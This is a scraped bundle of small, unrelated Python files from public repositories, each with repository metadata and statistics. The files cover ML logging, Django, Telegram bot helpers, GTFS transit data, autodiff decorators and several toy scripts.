4fc473676345dd4cde3d8f8baaa727c48ac410b4

1,661

py

Python

utils/tf_visualizer.py

NVlabs/UMR

15ca8c87c158a238086ef01c9718c9c5773a6659

[ "BSD-Source-Code" ]

184

2020-09-11T20:35:10.000Z

2022-03-30T04:26:23.000Z

utils/tf_visualizer.py

gengshan-y/UMR

d858c4ddd56bdac6e3342609f9c02618c279b990

[ "BSD-Source-Code" ]

14

2020-10-27T15:29:10.000Z

2022-03-15T08:17:24.000Z

utils/tf_visualizer.py

gengshan-y/UMR

d858c4ddd56bdac6e3342609f9c02618c279b990

[ "BSD-Source-Code" ]

27

2020-09-13T09:04:25.000Z

2022-01-21T08:10:41.000Z

# ----------------------------------------------------------- # Copyright (C) 2020 NVIDIA Corporation. All rights reserved. # Nvidia Source Code License-NC # Code written by Xueting Li. # ----------------------------------------------------------- import numpy as np import os import ntpath import time import termcolor # convert to colored strings def red(content): return termcolor.colored(str(content),"red",attrs=["bold"]) def green(content): return termcolor.colored(str(content),"green",attrs=["bold"]) def blue(content): return termcolor.colored(str(content),"blue",attrs=["bold"]) def cyan(content): return termcolor.colored(str(content),"cyan",attrs=["bold"]) def yellow(content): return termcolor.colored(str(content),"yellow",attrs=["bold"]) def magenta(content): return termcolor.colored(str(content),"magenta",attrs=["bold"]) class Visualizer(): def __init__(self, opt): # self.opt = opt self.log_name = os.path.join(opt.checkpoint_dir, opt.name, 'loss_log.txt') with open(self.log_name, "a") as log_file: now = time.strftime("%c") log_file.write('================ Training Loss (%s) ================\n' % now) # scalars: same format as |scalars| of plot_current_scalars def print_current_scalars(self, epoch, i, scalars): message = green('(epoch: %d, iters: %d) ' % (epoch, i)) for k, v in scalars.items(): if("lr" in k): message += '%s: %.6f ' % (k, v) else: message += '%s: %.3f ' % (k, v) print(message) with open(self.log_name, "a") as log_file: log_file.write('%s\n' % message)

41.525

90

0.576159

207

1,661

4.541063

0.410628

0.082979

0.140426

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0.310638

0.061702

0

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1,661

39

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0.296296

false

0

0.185185

0.222222

0.518519

0.074074

0

null

0

1

0

null

0

1

0

1

0

3

4fd9da13c9282a2262e37992365c35680ca51392

765

py

Python

src/contexts/backoffice/users/application/createone/UserCreator.py

parada3desu/python-ddd-template

3da506fbef07b18777e15301e8ba94cc314c6895

[ "MIT" ]

2

2022-02-26T14:09:43.000Z

2022-03-13T08:48:21.000Z

src/contexts/backoffice/users/application/createone/UserCreator.py

parada3desu/python-ddd-example

3da506fbef07b18777e15301e8ba94cc314c6895

[ "MIT" ]

null

src/contexts/backoffice/users/application/createone/UserCreator.py

parada3desu/python-ddd-example

3da506fbef07b18777e15301e8ba94cc314c6895

[ "MIT" ]

null

from src.contexts.backoffice.users.domain.UserRepository import UserRepository from src.contexts.backoffice.users.domain.entities.User import User from src.contexts.backoffice.users.domain.entities.UserId import UserId from src.contexts.backoffice.users.domain.entities.UserName import UserName from src.contexts.shared.domain.EventBus import EventBus class UserCreator: def __init__(self, user_repository: UserRepository, event_bus: EventBus): self.__user_repository = user_repository self.__event_bus = event_bus async def run(self, user_id: UserId, name: UserName): user: User = User.create(user_id, name) await self.__user_repository.create_one(user) await self.__event_bus.publish(user.pull_domain_events())

42.5

78

0.784314

100

765

5.75

0.32

0.06087

0.130435

0.173913

0.292174

0.229565

0

0.133333

765

17

79

45

0.86727

0

1

0.076923

false

0

0.384615

0

0.538462

0

null

0

1

0

null

0

1

0

1

0

3

4fed4378e82a4d2469bfbbd100de96d4fb972645

1,258

py

Python

bot/util.py

DukeX9/David-TelegramBot-Docker

5269cde874b5d2082f5c38a86ada1f23943cb650

[ "MIT" ]

null

bot/util.py

DukeX9/David-TelegramBot-Docker

5269cde874b5d2082f5c38a86ada1f23943cb650

[ "MIT" ]

null

bot/util.py

DukeX9/David-TelegramBot-Docker

5269cde874b5d2082f5c38a86ada1f23943cb650

[ "MIT" ]

null

from telegram import Chat, ParseMode, Update, Bot from libs.mwt import MWT class Utils: update: Update def __init__(self, bot: Bot): self.bot = bot def set_update(self, update): print("set_update {}".format(update)) self.update = update def is_chat_private(self): return self.get_chat().type == Chat.PRIVATE def is_user_admin(self): return self.update.message.from_user.id in self.get_admin_ids() @MWT(timeout=60 * 15) def get_admin_ids(self): return [admin.user.id for admin in self.bot.get_chat_administrators(self.update.message.chat_id)] def is_chat_all_admins(self): return self.get_chat().all_members_are_administrators def get_chat(self): return self.update.effective_chat def get_chatroom(self): return self.update.message.chat def get_message(self): return self.update.message def get_user(self): return self.update.effective_user def send_message(self, *args, **kwargs): kwargs.update({'parse_mode': ParseMode.HTML, 'timeout': 20}) self.bot.send_message(*args, **kwargs) def matches_user_id(self, owner_id): return str(self.update.message.from_user.id) == owner_id

26.765957

105

0.674881

178

1,258

4.544944

0.275281

0.111248

0.121137

0.123609

0.269468

0.066749

0

0.006091

0.217011

1,258

46

106

27.347826

0.815228

0

0.023847

0

1

0.387097

false

0

0.064516

0.290323

0.806452

0.032258

0

null

0

null

0

1

0

1

0

3

4fef1d2dae2567a7e1e13aace37be93707813b42

333

py

Python

manage.py

hiporox/strawberry-django-plus

c648449034f43af8f94356820119d356f306110a

[ "MIT" ]

44

2022-01-05T18:19:39.000Z

2022-03-26T11:49:40.000Z

manage.py

hiporox/strawberry-django-plus

c648449034f43af8f94356820119d356f306110a

[ "MIT" ]

29

2022-01-19T21:48:25.000Z

2022-03-30T15:25:51.000Z

manage.py

hiporox/strawberry-django-plus

c648449034f43af8f94356820119d356f306110a

[ "MIT" ]

5

2022-02-22T05:32:04.000Z

2022-03-30T14:21:32.000Z

#!/usr/bin/env python3 """Entrypoint for the demo app.""" import os import sys if __name__ == "__main__": os.environ.setdefault("_PERSISTENT_DB", "1") os.environ.setdefault("DJANGO_SETTINGS_MODULE", "demo.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)

23.785714

68

0.744745

45

333

5.111111

0.666667

0.078261

0.165217

0.191304

0

0.00692

0.132132

333

13

69

25.615385

0.788927

0.15015

0

0.209386

0.079422

0

1

0

true

0

0.428571

0

0.428571

0

null

0

1

0

null

0

1

0

1

0

3

4ff4d74d54ab18b0c0685dcb5f4806bf1e5ec710

545

py

Python

tests/basics/bytes_compare3.py

geowor01/micropython

7fb13eeef4a85f21cae36f1d502bcc53880e1815

[ "MIT" ]

7

2019-10-18T13:41:39.000Z

2022-03-15T17:27:57.000Z

tests/basics/bytes_compare3.py

geowor01/micropython

7fb13eeef4a85f21cae36f1d502bcc53880e1815

[ "MIT" ]

null

tests/basics/bytes_compare3.py

geowor01/micropython

7fb13eeef4a85f21cae36f1d502bcc53880e1815

[ "MIT" ]

2

2020-06-23T09:10:15.000Z

2020-12-22T06:42:14.000Z

# Based on MicroPython config option, comparison of str and bytes # or vice versa may issue a runtime warning. On CPython, if run as # "python3 -b", only comparison of str to bytes issues a warning, # not the other way around (while exactly comparison of bytes to # str would be the most common error, as in sock.recv(3) == "GET"). # Update: the issue above with CPython apparently happens in REPL, # when run as a script, both lines issue a warning. if ("123" == b"123" or b"123" == "123"): print("FAIL") raise SystemExit print("PASS")

45.416667

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68

45.416667

0.848073

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true

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0

null

0

null

0

1

0

1

0

3

8b06b23189486abb08b18059d5099ddb818c14a2

1,057

py

Python

popupforms/phonebook/models.py

edcodes/Django-PopUp-Forms

4361b847efdff56d111e28afb38383905c4751e1

[ "Apache-2.0" ]

1

2022-03-15T14:21:26.000Z

popupforms/phonebook/models.py

edcodes/Django-PopUp-Forms

4361b847efdff56d111e28afb38383905c4751e1

[ "Apache-2.0" ]

null

popupforms/phonebook/models.py

edcodes/Django-PopUp-Forms

4361b847efdff56d111e28afb38383905c4751e1

[ "Apache-2.0" ]

null

from django.db import models from django.contrib.auth.models import User from django.urls import reverse class PhoneBook(models.Model): name = models.CharField(max_length=20, null=False, blank=False , db_index=True, verbose_name='Name') last_name= models.CharField(max_length=20, null=False, blank=False , db_index=True, verbose_name='Last Name') phone = models.CharField(max_length=20, null=False, blank=False , db_index=True, verbose_name='Phone Number') address = models.CharField(max_length=200, null=True, blank=True , verbose_name='Address') email = models.CharField(max_length=100, null=True, blank=True , verbose_name='Email') note = models.CharField(max_length=100, null=True, blank=True , verbose_name='Note') creator = models.ForeignKey(User , on_delete=models.PROTECT, verbose_name='Creator') class Meta: ordering = ['name'] def __str__(self): return str(self.name) + str(self.last_name) def get_absolute_url(self): return reverse('phonebook-detail',kwargs={'pk':self.pk})

42.28

113

0.726585

150

1,057

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0.103634

0.145357

0.193809

0.467026

0.429341

0

0.016593

0.144749

1,057

24

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44.041667

0.80531

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1

0.117647

false

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0.176471

0.117647

0.941176

0

null

0

1

0

null

0

1

0

3

8b0f1b26ccba9442f47816c46d70db223d3a7d42

42

py

Python

temp.py

Aooyh/temp_pro

2cd4b5533666bf987be34d65d4ca9d6cf9094deb

[ "MIT" ]

null

temp.py

Aooyh/temp_pro

2cd4b5533666bf987be34d65d4ca9d6cf9094deb

[ "MIT" ]

null

temp.py

Aooyh/temp_pro

2cd4b5533666bf987be34d65d4ca9d6cf9094deb

[ "MIT" ]

null

name = 'yangghao' gender = 'male' age= 22

10.5

17

0.642857

6

42

4.5

1

0

0.058824

0.190476

42

3

18

14

0.735294

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0.285714

0

1

0

false

0

1

0

null

0

1

0

null

0

3

8b223857cae3fac96a22e9c1453e910795c5c612

134

py

Python

tests/test_lol_status.py

xNinjaKittyx/aioleague

0566ba3068a865e8c9821c37285dc2c97d0c70bd

[ "MIT" ]

1

2020-10-08T11:13:25.000Z

tests/test_lol_status.py

xNinjaKittyx/aioleague

0566ba3068a865e8c9821c37285dc2c97d0c70bd

[ "MIT" ]

null

tests/test_lol_status.py

xNinjaKittyx/aioleague

0566ba3068a865e8c9821c37285dc2c97d0c70bd

[ "MIT" ]

null

import pytest @pytest.mark.asyncio async def test_get_shard_data(session): obj = await session.get_shard_data() print(obj)

14.888889

40

0.746269

20

134

4.75

0.7

0.168421

0.252632

0

0.164179

134

8

41

16.75

0.848214

0

1

0

false

0

0.2

0

0.2

1

0

null

0

1

0

1

0

null

0

3

8b25bc3f119553032e415cf79f19e2a2a95242aa

234

py

Python

Python3/专利检索爬虫/solvecsvFUCKED.py

BillChen2K/LearningRepo

af9abda76c9d18fa237f7b199d5634bda0a13f67

[ "MIT" ]

11

2020-05-02T20:06:07.000Z

2021-06-24T10:01:29.000Z

Python3/专利检索爬虫/solvecsvFUCKED.py

megan2019/LearningRepo

af9abda76c9d18fa237f7b199d5634bda0a13f67

[ "MIT" ]

null

Python3/专利检索爬虫/solvecsvFUCKED.py

megan2019/LearningRepo

af9abda76c9d18fa237f7b199d5634bda0a13f67

[ "MIT" ]

6

2020-06-04T04:29:28.000Z

2020-11-15T08:15:01.000Z

from lxml import etree import lxml import pickle with open('/Users/billchen/OneDrive/Workspace/LearningRepo/Python3/专利检索爬虫/20050101_20101231_B09B_PAGE1.pickle', 'rb') as f: source = '' p = pickle.load(f) html = etree.HTML(p)

26

123

0.747863

34

234

5.058824

0.735294

0.116279

0

0.098522

0.132479

234

8

124

29.25

0.748768

0

0.42735

0.418803

0

1

0

false

0

0.428571

0

0.428571

0

null

0

1

0

1

null

0

1

0

3

8b3db55454b5827be3e10d42c064e5be9ce66f7c

84

py

Python

apps/lk/apps.py

DaniilGorokhov/CaloryHelper

6bf5ddce85479508b6498c3e4b2e0f4e5dd01b51

[ "MIT" ]

null

apps/lk/apps.py

DaniilGorokhov/CaloryHelper

6bf5ddce85479508b6498c3e4b2e0f4e5dd01b51

[ "MIT" ]

null

apps/lk/apps.py

DaniilGorokhov/CaloryHelper

6bf5ddce85479508b6498c3e4b2e0f4e5dd01b51

[ "MIT" ]

1

2021-02-15T17:40:23.000Z

from django.apps import AppConfig class LkConfig(AppConfig): name = 'apps.lk'

14

33

0.72619

11

84

5.545455

0.818182

0

0.178571

84

5

34

16.8

0.884058

0

0.083333

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

3

8c704e2d09c5de7202594d009e152f1ef9b1d0db

901

py

Python

kde/kdesdk/kcachegrind/kcachegrind.py

wrobelda/craft-blueprints-kde

366f460cecd5baebdf3a695696767c8c0e5e7c7e

[ "BSD-2-Clause" ]

14

2017-09-04T09:01:03.000Z

2022-01-04T20:09:00.000Z

kde/kdesdk/kcachegrind/kcachegrind.py

wrobelda/craft-blueprints-kde

366f460cecd5baebdf3a695696767c8c0e5e7c7e

[ "BSD-2-Clause" ]

14

2017-12-15T08:11:22.000Z

2020-12-29T19:11:13.000Z

kde/kdesdk/kcachegrind/kcachegrind.py

wrobelda/craft-blueprints-kde

366f460cecd5baebdf3a695696767c8c0e5e7c7e

[ "BSD-2-Clause" ]

19

2017-09-05T19:16:21.000Z

2020-10-18T12:46:06.000Z

import info class subinfo(info.infoclass): def setTargets(self): self.versionInfo.setDefaultValues() self.description = "GUI to profilers such as Valgrind" self.defaultTarget = 'master' def setDependencies(self): self.runtimeDependencies["libs/qt5/qtbase"] = None self.runtimeDependencies["kde/frameworks/tier1/karchive"] = None self.runtimeDependencies["kde/frameworks/tier1/kcoreaddons"] = None self.runtimeDependencies["kde/frameworks/tier2/kdoctools"] = None self.runtimeDependencies["kde/frameworks/tier1/kwidgetsaddons"] = None self.runtimeDependencies["kde/frameworks/tier3/kxmlgui"] = None self.runtimeDependencies["kde/frameworks/tier4/kdelibs4support"] = None from Package.CMakePackageBase import * class Package(CMakePackageBase): def __init__(self): CMakePackageBase.__init__(self)

34.653846

79

0.720311

87

901

7.367816

0.471264

0.25117

0.25273

0.280811

0.397816

0.210608

0

0.010753

0.174251

901

25

80

36.04

0.850806

0

0.27081

0.210877

0

1

0.166667

false

0

0.111111

0

0.388889

0

null

1

0

null

0

3

8c8a3fa18a644dc53d849dea29bb8a71c89d9833

182

py

Python

experiments/runtests.py

MadhuNimmo/jalangi2

bbe8350b8ede5d978c1b3923780f277aacb1d074

[ "Apache-2.0" ]

null

experiments/runtests.py

MadhuNimmo/jalangi2

bbe8350b8ede5d978c1b3923780f277aacb1d074

[ "Apache-2.0" ]

null

experiments/runtests.py

MadhuNimmo/jalangi2

bbe8350b8ede5d978c1b3923780f277aacb1d074

[ "Apache-2.0" ]

null

from subprocess import call def call_fail(l): if call(l) != 0: print "{} failed".format(" ".join(l)) exit(1) call_fail(["python", "experiments/func_test.py"])

18.2

49

0.598901

26

182

4.076923

0.769231

0.150943

0

0.014085

0.21978

182

9

50

20.222222

0.732394

0

0.21978

0.131868

0

null

0

0.166667

null

0.166667

1

0

null

0

1

0

null

0

1

0

3

8cbacff4d48c09219380b49c7b56749002e1874f

302

py

Python

instagram_api/response/model/rewrite_rule.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

13

2019-08-07T21:24:34.000Z

2020-12-12T12:23:50.000Z

instagram_api/response/model/rewrite_rule.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

null

instagram_api/response/model/rewrite_rule.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

null

from ..mapper import PropertyMapper, ApiInterfaceBase from ..mapper.types import Timestamp, AnyType __all__ = ['RewriteRule', 'RewriteRuleInterface'] class RewriteRuleInterface(ApiInterfaceBase): matcher: str replacer: str class RewriteRule(PropertyMapper, RewriteRuleInterface): pass

21.571429

56

0.784768

26

302

8.961538

0.615385

0.085837

0

0.135762

302

13

57

23.230769

0.89272

0

0.102649

0

1

0

false

0.125

0.25

0

0.75

0

1

0

null

0

null

0

1

0

1

0

3

8cbf9a2f6a265e3c96cfc57e24874702176aed23

54

py

Python

ScriperSol/Scriper.UnitTests/Assets/helloWord.py

gitter-badger/Scriper

cdd67687f7942916c28658fc950b49c9f3b064cd

[ "MIT" ]

null

ScriperSol/Scriper.UnitTests/Assets/helloWord.py

gitter-badger/Scriper

cdd67687f7942916c28658fc950b49c9f3b064cd

[ "MIT" ]

null

ScriperSol/Scriper.UnitTests/Assets/helloWord.py

gitter-badger/Scriper

cdd67687f7942916c28658fc950b49c9f3b064cd

[ "MIT" ]

null

print("Hello World.") for x in range(10): print(x)

18

21

0.62963

10

54

3.4

0.8

0

0.045455

0.185185

54

3

22

18

0.727273

0

0.218182

0

1

0

false

0

0.666667

1

0

null

0

1

0

null

0

1

0

3

8cd26494368d915f2cb7c63ef89c9c0cf97f2f81

341

py

Python

tests/stl/test.py

AFlyingCar/EPYGen

63154c3882db3d489b03abe4a47a68e436a14fad

[ "MIT" ]

null

tests/stl/test.py

AFlyingCar/EPYGen

63154c3882db3d489b03abe4a47a68e436a14fad

[ "MIT" ]

null

tests/stl/test.py

AFlyingCar/EPYGen

63154c3882db3d489b03abe4a47a68e436a14fad

[ "MIT" ]

null

import STL print("===================") stl_vec = STL.GetVector() for i in stl_vec: print(i) print("===================") stl_map = STL.GetMap() for i in stl_map: print(i) print("===================") stl_str = STL.GetString() print(stl_str) print("===================") stl_tup = STL.GetTuple() for i in stl_tup: print(i)

14.826087

28

0.498534

46

341

3.521739

0.304348

0.246914

0.111111

0.166667

0

0.152493

341

22

29

15.5

0.560554

0

0.4375

0

0.224189

0

1

0

false

0

0.0625

0

0.0625

0.5

0

null

1

0

1

0

null

0

1

0

3

8ce0b58137f5aebe3d68e56ab22824148e09f6c2

113

py

Python

core/config.py

dorofeichik/FastAPI_book_store

d3a1eebff6d19f453f3b2725c76d84a0e6baf604

[ "MIT" ]

null

core/config.py

dorofeichik/FastAPI_book_store

d3a1eebff6d19f453f3b2725c76d84a0e6baf604

[ "MIT" ]

null

core/config.py

dorofeichik/FastAPI_book_store

d3a1eebff6d19f453f3b2725c76d84a0e6baf604

[ "MIT" ]

null

class Settings: PROJECT_TITLE: str = "Book store" PROJECT_VERSION: str = "0.1.1" settings = Settings()

16.142857

37

0.663717

15

113

4.866667

0.666667

0

0.033708

0.212389

113

6

38

18.833333

0.786517

0

0.132743

0

1

0

false

0

0.75

0

1

0

null

0

1

0

null

0

1

0

3

8cf9fe75f92dbd48897b4386285e503d87e0695a

278

py

Python

menu.py

cosgais/Game

9b65600e7abde92aed22e08f9a3e18e637fdb475

[ "MIT" ]

null

menu.py

cosgais/Game

9b65600e7abde92aed22e08f9a3e18e637fdb475

[ "MIT" ]

null

menu.py

cosgais/Game

9b65600e7abde92aed22e08f9a3e18e637fdb475

[ "MIT" ]

null

import pygame from pygame.locals import * class Menu: def __init__(self): #self.start = pygame.image.load('racecar.png') pass def update(self, dt): pass def draw(self, screen): pygame.draw.rect(screen, (0,0,255), (200,150,100,50))

19.857143

61

0.604317

39

278

4.205128

0.666667

0.085366

0

0.077295

0.255396

278

14

61

19.857143

0.714976

0.161871

0

0.222222

0

1

0.333333

false

0.222222

0

0.666667

0

null

0

null

0

1

0

1

0

1

0

3

8cfa13d804127a246f5ff929e346844b2917e76e

716

py

Python

myToken.py

MantouOwO/109topic

b872e9ad4ab0f07fc334de2d317172f3bb2e1002

[ "Apache-2.0" ]

null

myToken.py

MantouOwO/109topic

b872e9ad4ab0f07fc334de2d317172f3bb2e1002

[ "Apache-2.0" ]

null

myToken.py

MantouOwO/109topic

b872e9ad4ab0f07fc334de2d317172f3bb2e1002

[ "Apache-2.0" ]

null

import time import base64 import hmac #參考資料:https://medium.com/mr-efacani-teatime/%E6%B7%BA%E8%AB%87jwt%E7%9A%84%E5%AE%89%E5%85%A8%E6%80%A7%E8%88%87%E9%81%A9%E7%94%A8%E6%83%85%E5%A2%83-301b5491b60e secret_key = 'mantou' def toBytes(string): return bytes(string,'utf-8') def encodeBase64(text): return base64.urlsafe_b64encode(text).replace(b'=',b'') def creat_jwt(id): header = '{"alg":"HS256","typ":"JWT"}' payload = '{"user":' + id +',"login_time":' + str(time.time()) +'}' #jwt = header.payload jwt = encodeBase64(toBytes(header)) + toBytes('.') + encodeBase64(toBytes(payload)) hs256 = hmac.new(toBytes(secret_key), jwt).digest() return encodeBase64(hs256).decode("utf-8")

28.64

159

0.666201

111

716

4.252252

0.594595

0.016949

0

0.120827

0.121508

716

24

160

29.833333

0.629571

0.248603

0

0.127341

0.050562

0

1

0.214286

false

0

0.214286

0.142857

0.642857

0

null

0

null

0

1

0

1

0

3

50674381b46a1c8f20d043b2be20542b2da87756

7,396

py

Python

aequilibrae/transit/gtfs/stop.py

Art-Ev/aequilibrae

9f438278e09c875717779bfcc99bf7ba75ed1372

[ "MIT" ]

82

2018-07-18T09:58:21.000Z

2022-03-30T15:36:25.000Z

aequilibrae/transit/gtfs/stop.py

Art-Ev/aequilibrae

9f438278e09c875717779bfcc99bf7ba75ed1372

[ "MIT" ]

197

2018-06-30T07:01:46.000Z

2022-03-30T06:30:43.000Z

aequilibrae/transit/gtfs/stop.py

Art-Ev/aequilibrae

9f438278e09c875717779bfcc99bf7ba75ed1372

[ "MIT" ]

29

2018-07-16T18:10:39.000Z

2022-03-30T15:36:26.000Z

class Stop: """ Represents each one of the physical stops in a GTFS dataset (from https://developers.google.com/transit/gtfs/reference/) Fields ______ * **id** `(stop_id)` **Required** - The stop_id field contains an ID that uniquely identifies a stop, station, or station entrance. Multiple routes may use the same stop. The stop_id is used by systems as an internal identifier of this record (e.g., primary key in database), and therefore the stop_id must be dataset unique. * **code** `(stop_code)` **Optional** - The stop_code field contains short text or a number that uniquely identifies the stop for passengers. Stop codes are often used in phone-based transit information systems or printed on stop signage to make it easier for riders to get a stop schedule or real-time arrival information for a particular stop. The stop_code field contains short text or a number that uniquely identifies the stop for passengers. The stop_code can be the same as stop_id if it is passenger-facing. This field should be left blank for stops without a code presented to passengers. * **name** `(stop_name)` **Required** - The stop_name field contains the name of a stop, station, or station entrance. Please use a name that people will understand in the local and tourist vernacular. * **desc** `(stop_desc)` **Optional** - The stop_desc field contains a description of a stop. Please provide useful, quality information. Do not simply duplicate the name of the stop. * **lat** `(stop_lat)` **Required** - The stop_lat field contains the latitude of a stop, station, or station entrance. The field value must be a valid WGS 84 latitude. * **lon** `(stop_lon)` **Required** - The stop_lon field contains the longitude of a stop, station, or station entrance. The field value must be a valid WGS 84 longitude value from -180 to 180. * **zone_id** `(zone_id)` **Optional** - The zone_id field defines the fare zone for a stop ID. Zone IDs are required if you want to provide fare information using fare_rules.txt. If this stop ID represents a station, the zone ID is ignored. * **url** `(stop_url)` **Optional** - The stop_url field contains the URL of a web page about a particular stop. This should be different from the agency_url and the route_url fields. The value must be a fully qualified URL that includes http:// or https://, and any special characters in the URL must be correctly escaped. See http://www.w3.org/Addressing/URL/4_URI_Recommentations.html for a description of how to create fully qualified URL values. * **location_type** `(location_type)` **Optional** - The location_type field identifies whether this stop ID represents a stop, station, or station entrance. If no location type is specified, or the location_type is blank, stop IDs are treated as stops. Stations may have different properties from stops when they are represented on a map or used in trip planning. The location type field can have the following values: - 0 or blank - Stop. A location where passengers board or disembark from a transit vehicle. - 1 - Station. A physical structure or area that contains one or more stop. - 2 - Station Entrance/Exit. A location where passengers can enter or exit a station from the street. The stop entry must also specify a parent_station value referencing the stop ID of the parent station for the entrance. * **parent_station** `(parent_station)` **Optional** - For stops that are physically located inside stations, the parent_station field identifies the station associated with the stop. To use this field, stops.txt must also contain a row where this stop ID is assigned location type=1. This stop ID represents... This entry's location type... This entry's parent_station field contains... A stop located inside a station. 0 or blank The stop ID of the station where this stop is located. The stop referenced by parent_station must have location_type=1. A stop located outside a station. 0 or blank A blank value. The parent_station field doesn't apply to this stop. A station. 1 A blank value. Stations can't contain other stations. * **timezone** `(stop_timezone)` **Optional** - The stop_timezone field contains the timezone in which this stop, station, or station entrance is located. Please refer to Wikipedia List of Timezones for a list of valid values. If omitted, the stop should be assumed to be located in the timezone specified by agency_timezone in agency.txt. When a stop has a parent station, the stop is considered to be in the timezone specified by the parent station's stop_timezone value. If the parent has no stop_timezone value, the stops that belong to that station are assumed to be in the timezone specified by agency_timezone, even if the stops have their own stop_timezone values. In other words, if a given stop has a parent_station value, any stop_timezone value specified for that stop must be ignored. Even if stop_timezone values are provided in stops.txt, the times in stop_times.txt should continue to be specified as time since midnight in the timezone specified by agency_timezone in agency.txt. This ensures that the time values in a trip always increase over the course of a trip, regardless of which timezones the trip crosses. * **wheelchair_boarding** `(wheelchair_boarding)` **Optional** - The wheelchair_boarding field identifies whether wheelchair boardings are possible from the specified stop, station, or station entrance. The field can have the following values: - 0 (or empty) - indicates that there is no accessibility information for the stop - 1 - indicates that at least some vehicles at this stop can be boarded by a rider in a wheelchair - 2 - wheelchair boarding is not possible at this stop When a stop is part of a larger station complex, as indicated by a stop with a parent_station value, the stop's wheelchair_boarding field has the following additional semantics: - 0 (or empty) - the stop will inherit its wheelchair_boarding value from the parent station, if specified in the parent - 1 - there exists some accessible path from outside the station to the specific stop / platform - 2 - there exists no accessible path from outside the station to the specific stop / platform For station entrances, the wheelchair_boarding field has the following additional semantics: - 0 (or empty) - the station entrance will inherit its wheelchair_boarding value from the parent station, if specified in the parent - 1 - the station entrance is wheelchair accessible (e.g. an elevator is available to platforms if they are not at-grade) - 2 - there exists no accessible path from the entrance to station platforms """ def __init__(self): """ Initializes the class with members corresponding to all fields in the GTFS specification. See Stop class documentation """ self.id = None self.code = "" self.name = None self.desc = "" self.lat = None self.lon = None self.zone_id = None self.url = None self.location_type = 0 self.parent_station = None self.timezone = None self.wheelchair_boarding = 0

104.169014

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null

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50810014044e376cd798e0b655725ed6b38c7100

513

py

Python

peas/tests/serial_handlers/__init__.py

zacharyt20/POCS

8f785eaf27178be7d72106cb82e5400a8b852ba8

[ "MIT" ]

1

2019-07-19T10:37:08.000Z

peas/tests/serial_handlers/__init__.py

zacharyt20/POCS

8f785eaf27178be7d72106cb82e5400a8b852ba8

[ "MIT" ]

null

peas/tests/serial_handlers/__init__.py

zacharyt20/POCS

8f785eaf27178be7d72106cb82e5400a8b852ba8

[ "MIT" ]

null

"""The protocol_*.py files in this package are based on PySerial's file test/handlers/protocol_test.py, modified for different behaviors. The call serial.serial_for_url("XYZ://") looks for a class Serial in a file named protocol_XYZ.py in this package (i.e. directory). This package init file will be loaded as part of searching for a protocol handler in this package. It is important to use root-relative imports (e.g. relative to the POCS directory) so that all modules and packages are loaded only once. """

51.3

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null

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1

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5099f9429d6aaec98c0839fa882d53d23aca776a

198

py

Python

annotation_pipline/get_plaintext.py

d-e-h-i-o/bachelor_thesis

64bc5fb2c65621f7a8265bade0328d3f8c950ff3

[ "MIT" ]

1

2021-12-20T12:56:32.000Z

annotation_pipline/get_plaintext.py

DFKI-NLP/covid19-law-matching

c704a926977ef5f7fd4867125a2e79f352efd163

[ "MIT" ]

null

annotation_pipline/get_plaintext.py

DFKI-NLP/covid19-law-matching

c704a926977ef5f7fd4867125a2e79f352efd163

[ "MIT" ]

1

2021-11-24T11:21:33.000Z

from newsplease import NewsPlease from retry import retry @retry(tries=3, delay=2) def fetch_plaintext(url: str) -> str: article = NewsPlease.from_url(url) return article.maintext or ""

18

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null

0

null

0

1

0

1

0

3

50b0514371c1dbff0f0ec3521d33eb97209177c7

83

py

Python

paths.py

yonlif/CitySimulator

ca0d0de41cc37ef17f22af2c1a329319d2dbbeb2

[ "Apache-2.0" ]

null

paths.py

yonlif/CitySimulator

ca0d0de41cc37ef17f22af2c1a329319d2dbbeb2

[ "Apache-2.0" ]

null

paths.py

yonlif/CitySimulator

ca0d0de41cc37ef17f22af2c1a329319d2dbbeb2

[ "Apache-2.0" ]

null

from pathlib import Path NYC_DATA_PATH = Path('data') / 'CSCL_PUB_Centerline.csv'

20.75

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83

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27.666667

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null

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null

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1

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3

50c7dd6eac01ba576abe09a2f9031f2911fde971

3,261

py

Python

autodiff/decorators.py

gwtaylor/pyautodiff

7973e26f1c233570ed4bb10d08634ec7378e2152

[ "BSD-3-Clause" ]

59

2015-02-03T20:50:59.000Z

2020-05-26T05:38:54.000Z

autodiff/decorators.py

gwtaylor/pyautodiff

7973e26f1c233570ed4bb10d08634ec7378e2152

[ "BSD-3-Clause" ]

3

2015-05-10T06:22:45.000Z

2016-12-06T02:20:58.000Z

autodiff/decorators.py

gwtaylor/pyautodiff

7973e26f1c233570ed4bb10d08634ec7378e2152

[ "BSD-3-Clause" ]

11

2015-04-15T16:52:09.000Z

2017-06-28T12:10:39.000Z

from autodiff.symbolic import Symbolic, Function, Gradient, HessianVector import collections def function(fn=None, **kwargs): """ Wraps a function with an AutoDiff Function instance, converting it to a symbolic representation. The function is compiled the first time it is called. Use: @function def python_function(...): return do_something() python_function(...) # calls compiled Function Pass keywords to Function: @function(force_floatX=True): def python_function(x=1, y=2): return do_something() """ if isinstance(fn, collections.Callable): return Function(fn, **kwargs) else: def function_wrapper(pyfn): return Function(pyfn, **kwargs) return function_wrapper def gradient(fn=None, **kwargs): """ Wraps a function with an AutoDiff Gradient instance, converting it to a symbolic representation that returns the derivative with respect to either all inputs or a subset (if specified with the 'wrt' keyword). The function is compiled the first time it is called. Use: @gradient def python_function(...): return do_something() python_function(...) # returns the gradient of python_function Pass keywords to Gradient: @gradient(wrt = ['x', 'y']) def python_function(x=1, y=2): return do_something() """ if isinstance(fn, collections.Callable): return Gradient(fn, **kwargs) else: def gradient_wrapper(pyfn): return Gradient(pyfn, **kwargs) return gradient_wrapper def hessian_vector(fn=None, **kwargs): """ Wraps a function with an AutoDiff HessianVector instance, converting it to a symbolic representation that returns the result with respect to either all inputs or a subset (if specified with the 'wrt' keyword). A tuple of the required vectors must be passed to the resulting function with the keyword '_vectors'. The function is compiled the first time it is called. Use: @gradient def python_function(...): return do_something() python_function(...) # returns the gradient of python_function Pass keywords to Gradient: @gradient(wrt = ['x', 'y']) def python_function(x=1, y=2): return do_something() """ if isinstance(fn, collections.Callable): return HessianVector(fn, **kwargs) else: def hv_wrapper(pyfn): return HessianVector(pyfn, **kwargs) return 